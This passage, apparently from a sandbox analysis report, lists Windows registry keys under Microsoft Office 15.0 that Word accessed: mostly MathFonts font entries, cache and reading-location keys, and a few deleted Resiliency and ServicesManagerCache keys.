  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1693. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1694. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1695. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1696. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1697. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1698. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1699. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1700. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1701. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1702. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1703. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1704. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1705. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1706. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  1707. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  1708. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  1709. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  1710. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  1711. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  1712. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  1713. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  1714. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  1715. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  1716. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  1717. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  1718. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  1719. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  1720. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  1721. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  1722. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  1723. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  1724. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  1725. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  1726. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  1727. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  1728. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  1729. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  1730. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  1731. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  1732. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  1733. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  1734. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  1735. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  1736. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  1737. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  1738. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  1739. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  1740. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  1741. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  1742. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  1743. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  1744. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  1745. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  1746. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  1747. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  1748. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  1749. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  1750. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  1751. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  1752. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  1753. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  1754. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  1755. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  1756. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  1757. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  1758. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  1759. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  1760. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  1761. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  1762. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  1763. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  1764. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  1765. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  1766. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  1767. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  1768. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  1769. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  1770. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  1771. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  1772. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  1773. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  1774. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  1775. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  1776. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  1777. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  1778. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  1779. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  1780. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  1781. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  1782. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  1783. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  1784. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  1785. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  1786. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  1787. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  1788. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  1789. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  1790. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  1791. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  1792. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  1793. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  1794. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  1795. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  1796. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  1797. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  1798. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  1799. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  1800. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  1801. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  1802. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  1803. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  1804. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  1805. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  1806. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  1807. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  1808. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  1809. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  1810. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  1811. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  1812. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  1813. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  1814. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  1815. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  1816. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  1817. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  1818. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  1819. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  1820. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  1821. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  1822. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  1823. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  1824. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  1825. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  1826. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  1827. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  1828. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  1829. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  1830. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  1831. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  1832. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  1833. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  1834. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  1835. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  1836. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  1837. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  1838. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  1839. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  1840. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  1841. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  1842. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  1843. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  1844. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  1845. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  1846. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  1847. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  1848. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  1849. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  1850. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  1851. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  1852. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  1853. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  1854. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  1855. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  1856. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  1857. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  1858. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  1859. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  1860. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  1861. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  1862. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  1863. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  1864. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  1865. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  1866. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  1867. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  1868. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  1869. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  1870. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  1871. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  1872. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  1873. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  1874. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  1875. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  1876. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  1877. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  1878. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  1879. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  1880. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  1881. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  1882. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  1883. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  1884. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  1885. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  1886. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  1887. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  1888. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  1889. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  1890. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  1891. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  1892. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  1893. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  1894. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  1895. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  1896. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  1897. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  1898. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  1899. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  1900. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  1901. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  1902. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  1903. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  1904. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  1905. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  1906. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1907. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1908. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  1909. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  1910. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  1911. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  1912. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  1913. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  1914. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  1915. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  1916. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  1917. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  1918. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
  1919. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
  1920. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  1921. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  1922. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1"
  1923.  
  1924.  
  1925. * Deleted Registry Keys:
  1926. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\2$q",
  1927. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\-jo",
  1928. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1929. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1930. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
